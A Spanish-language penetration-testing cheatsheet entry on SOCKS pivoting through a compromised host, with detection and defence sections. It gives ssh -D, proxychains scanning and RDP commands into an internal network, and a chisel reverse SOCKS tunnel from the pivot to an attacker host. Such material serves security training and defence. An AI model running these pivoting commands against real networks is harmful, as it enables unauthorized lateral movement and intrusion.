Dynamic Port Forwarding (SOCKS)
Arsenal completo de comandos en la cheatsheetEl dynamic port forwarding convierte un host comprometido en un proxy SOCKS: en lugar de reenviar un único puerto (como el local port forwarding), abre un túnel por el que pasa tráfico hacia cualquier IP y puerto de la red interna. Es la forma más flexible de pivotar hacia un segmento al que no llegamos directamente.
Por qué funciona. SSH puede actuar como servidor SOCKS con el flag -D: crea un socket local que acepta peticiones SOCKS y las reenvía, ya dentro de la red del pivote, al destino que cada petición indique. Como el destino lo elige el cliente en cada conexión, con un solo túnel se alcanza toda la red interna. Del lado del atacante, proxychains intercepta las herramientas y las hace hablar por ese SOCKS.
El abuso. Se levanta el proxy SOCKS con SSH y se enruta cada herramienta con proxychains (recordando usar TCP connect, -sT, porque SOCKS no tunela paquetes crudos).
# abrir un proxy SOCKS en el 9050 a traves del host comprometido
ssh -D 9050 <user>@<pivot>
ssh -f -N -D 9050 <user>@<pivot> # en segundo plano
# asegurar la linea del proxy en /etc/proxychains.conf
# socks5 127.0.0.1 9050 (proxy_dns activo para resolver por el tunel)
# enrutar un escaneo y un acceso por el tunel
proxychains -q nmap -sT -Pn <internal-ip> --open
proxychains xfreerdp /v:<internal-ip> /u:<user> /p:<pass>Con chisel, cuando el pivote no acepta SSH entrante (SOCKS reverso hacia el atacante):
./chisel server -p 8000 --reverse # atacante -> SOCKS en su 1080
./chisel client <lhost>:8000 R:socks # pivoteRequisitos. Hace falta acceso SSH al pivote (o una herramienta equivalente que exponga un SOCKS, como chisel o ligolo). El SOCKS solo transporta TCP (y con SOCKS5, resolución DNS): los escaneos deben ser de conexión completa y el descubrimiento por ICMP no pasa.
Cómo detectarlo. En el pivote aparece un proceso SSH con muchas conexiones salientes hacia IPs internas diversas, todas originadas por la misma sesión: un patrón de "un host que de repente habla con toda la red". En el borde, una única conexión SSH cifrada que canaliza un volumen de tráfico desproporcionado es la firma. Vigilar sshd/ssh con -D y conexiones internas radiando desde un solo origen ayuda a cazarlo.
Defensa. Segmentar la red para que un host comprometido no vea el resto, restringir el SSH saliente y el reenvío (AllowTcpForwarding no), y monitorizar conexiones internas anómalas desde un único origen. Es el hermano flexible del local port forwarding y del remote port forwarding, y comparte objetivo con sshuttle y ligolo-ng.